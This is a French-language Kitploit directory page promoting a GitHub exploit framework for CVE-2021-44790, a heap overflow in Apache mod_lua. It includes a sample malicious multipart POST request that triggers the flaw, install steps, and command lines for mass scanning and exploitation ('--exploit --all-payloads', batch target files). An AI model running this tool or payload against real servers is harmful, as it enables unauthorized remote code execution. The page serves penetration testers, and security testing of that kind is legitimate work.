Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790 — Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Framework d'exploitation avancé avec empreinte numérique, analyse multi-étapes, architecture de plugins, rapports professionnels, capture d'écran, base de données SQLite et détection avec une confiance supérieure à 95 %. Auteur : Sudeepa Wanigarathna. | Kitploit
Outils/GitHubGitHub/cerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790
Scanners de Vulnérabilités WebFrameworks d'ExploitationExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHubcerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790

Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

Voir le dépôt
129il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Framework d'exploitation avancé avec empreinte numérique, analyse multi-étapes, architecture de plugins, rapports professionnels, capture d'écran, base de données SQLite et détection avec une confiance supérieure à 95 %. Auteur : Sudeepa Wanigarathna.

Partager

🔥 CVE-2021-44790 - Exploitation du dépassement de tampon d'Apache mod_lua

Version Python License CVE Apache CVSS Author


📋 Aperçu

Exploitation du dépassement de tampon d'Apache mod_lua est une plateforme d'exploitation avancée de niveau entreprise pour CVE-2021-44790 - une vulnérabilité critique de dépassement de tampon dans le module mod_lua du serveur Apache HTTP Server 2.4.x. Ce framework offre des capacités complètes d'empreinte numérique, de découverte intelligente de scripts, d'analyse multi-étapes et de génération de rapports professionnels, avec une détection à plus de 95 % de confiance.

⚡ Fonctionnalités clés

FonctionnalitéDescription
🔍 Empreinte numérique avancéeDétection de la version d'Apache, de mod_lua, du système d'exploitation, de l'architecture, du WAF, du CDN, du conteneur et du fournisseur cloud
🎯 Découverte intelligentePlus de 7 techniques de découverte, notamment robots.txt, sitemap, analyse HTML, extraction JavaScript
💥 Analyse multi-étapesConnexion → Empreinte → Découverte → Vérification → Exploitation → Rapport
🧩 Système de plugins extensibleDéveloppement facile de plugins pour de futures CVE
🌐 Moteur HTTP intelligentPool de connexions, nouvelles tentatives, prise en charge HTTP/2, limitation du débit
📊 Rapports completsJSON, HTML, Markdown, PDF avec tableaux de bord interactifs
🎨 Interface terminal éléganteBibliothèque Rich avec barres de progression, tableaux et sortie à code couleur
💾 Base de données de rechercheStockage SQLite avec historique complet des analyses et prise en charge des requêtes
📸 Capture d'écranCaptures d'écran automatiques des pages web pour la collecte de preuves
🚀 Haute performancePlus de 20 threads simultanés, plus de 100 pools de connexions

🎯 Détails de la vulnérabilité

AttributValeur
CVE IDCVE-2021-44790
VulnérabilitéDépassement de tampon (sous-dépassement d'entier)
Logiciel affectéApache HTTP Server 2.4.0 à 2.4.51
Version corrigéeApache HTTP Server 2.4.52 et ultérieur
ComposantModule mod_lua
Vecteur d'attaqueRéseau (à distance)
Score CVSS9,8 (Critique)
Impact sur la confidentialitéÉlevé
Impact sur l'intégritéÉlevé
Impact sur la disponibilitéÉlevé
Maturité de l'exploitPreuve de concept disponible

Description technique

La vulnérabilité se situe dans le module mod_lua lors du traitement des requêtes multipart/form-data. Un sous-dépassement d'entier dans la fonction lua_request_parsebody() peut conduire à un dépassement de tampon basé sur le tas (heap), permettant potentiellement l'exécution de code à distance.

POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4

4
Content-Disposition: form-data; name="name"

0
4

📸 Captures d'écran

Interface principaleRésultats d'empreinte
Progression de l'analyseTableau de bord du rapport HTML

🚀 Démarrage rapide

Installation

# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

Utilisation de base

# Quick vulnerability scan
python3 exploit.py http://target.com

# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose

# Generate all reports
python3 exploit.py http://target.com --report all

# Research mode with database
python3 exploit.py http://target.com --research

📋 Utilisation détaillée

Options de la ligne de commande

python3 exploit.py [TARGET] [OPTIONS]
OptionDescriptionExemple
TARGETURL ciblehttp://target.com
--config FILEFichier de configuration--config config.yaml
--threads NNombre de threads--threads 30
--timeout NDélai d'expiration de la requête (secondes)--timeout 15
--proxy URLURL du proxy--proxy http://127.0.0.1:8080
--verboseSortie détaillée--verbose
--scan-onlyAnalyse sans exploitation--scan-only
--exploitActiver l'exploitation--exploit
--all-payloadsUtiliser toutes les charges utiles--all-payloads
--report FORMATFormat du rapport (json/html/markdown/all)--report all
--output DIRRépertoire de sortie--output /path/to/reports/
--researchActiver le mode recherche--research
--database FILEChemin de la base de données--database luastorm.db
--screenshotPrendre des captures d'écran--screenshot
--batch FILEFichier de lot contenant les cibles--batch targets.txt
--query SQLExécuter une requête de base de données--query "SELECT * FROM targets"

Exemples

1. Évaluation de base de la vulnérabilité

python3 exploit.py https://example.com --verbose --report all

2. Analyse d'environnement d'entreprise

python3 exploit.py https://internal-server.com \
    --proxy http://proxy.corp.com:8080 \
    --threads 10 \
    --timeout 15 \
    --verbose \
    --report all \
    --output /var/log/security/

3. Test d'intrusion complet

python3 exploit.py https://client.com \
    --threads 30 \
    --timeout 10 \
    --exploit \
    --all-payloads \
    --report all \
    --screenshot \
    --research \
    --verbose \
    --output /pentest/client_name/

4. Analyse par lot

python3 exploit.py --batch targets.txt --config config.yaml

5. Requêtes de base de données

# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"

# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"

⚙️ Configuration

Télécharger l’outil